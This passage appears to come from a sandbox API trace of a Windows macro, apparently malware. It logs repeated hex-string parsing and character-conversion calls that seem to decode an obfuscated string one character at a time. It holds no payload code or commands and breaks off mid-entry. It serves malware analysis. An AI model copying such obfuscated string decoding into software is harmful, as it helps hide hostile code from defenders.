cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0175.440] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.440] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.440] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.440] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.441] VarParseNumFromStr (in: strIn="&H39", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.441] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.441] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.441] VarParseNumFromStr (in: strIn="&H12", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.441] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0175.442] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.442] VarParseNumFromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.442] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr=",") returned 1 [0175.442] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.442] VarParseNumFromStr (in: strIn="&H45", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.442] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.443] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.443] VarParseNumFromStr (in: strIn="&H16", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.443] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.443] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0175.443] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.444] VarParseNumFromStr (in: strIn="&H08", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.444] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.444] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.444] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0175.444] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.444] VarParseNumFromStr (in: strIn="&H15", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.444] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.444] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0175.445] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.445] VarParseNumFromStr (in: strIn="&H37", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.445] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.445] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.445] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0175.445] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.445] VarParseNumFromStr (in: strIn="&H03", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.445] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0175.446] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.446] VarParseNumFromStr (in: strIn="&H0D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.446] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0175.448] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.448] VarParseNumFromStr (in: strIn="&H16", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.448] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.448] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0175.448] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.448] VarParseNumFromStr (in: strIn="&H17", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.448] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.449] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.449] VarParseNumFromStr (in: strIn="&H1A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.449] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0175.449] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.450] VarParseNumFromStr (in: strIn="&H41", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.450] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.450] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.450] VarParseNumFromStr (in: strIn="&H37", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.450] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0175.451] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.451] VarParseNumFromStr (in: strIn="&H0F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.451] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.451] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0175.451] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.451] VarParseNumFromStr (in: strIn="&H08", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.451] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0175.452] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.452] VarParseNumFromStr (in: strIn="&H45", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.452] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.452] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.452] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.453] VarParseNumFromStr (in: strIn="&H1D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.453] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.453] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.453] VarParseNumFromStr (in: strIn="&H1D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.453] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0175.454] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.454] VarParseNumFromStr (in: strIn="&H09", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.454] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.454] VarParseNumFromStr (in: strIn="&H33", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.454] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.455] VarParseNumFromStr (in: strIn="&H13", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.455] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.455] VarParseNumFromStr (in: strIn="&H4C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.455] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.455] VarParseNumFromStr (in: strIn="&H03", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.455] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.455] VarParseNumFromStr (in: strIn="&H1B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.455] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.455] VarParseNumFromStr (in: strIn="&H05", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.455] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.455] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.456] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.456] VarParseNumFromStr (in: strIn="&H25", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.456] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.456] VarParseNumFromStr (in: strIn="&H41", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.456] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.456] VarParseNumFromStr (in: strIn="&H0D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.456] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.456] VarParseNumFromStr (in: strIn="&H17", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.456] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.456] VarParseNumFromStr (in: strIn="&H17", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.456] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.457] VarParseNumFromStr (in: strIn="&H49", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.457] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.457] VarParseNumFromStr (in: strIn="&H0F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.457] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.457] VarParseNumFromStr (in: strIn="&H39", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.457] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.457] VarParseNumFromStr (in: strIn="&H41", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: 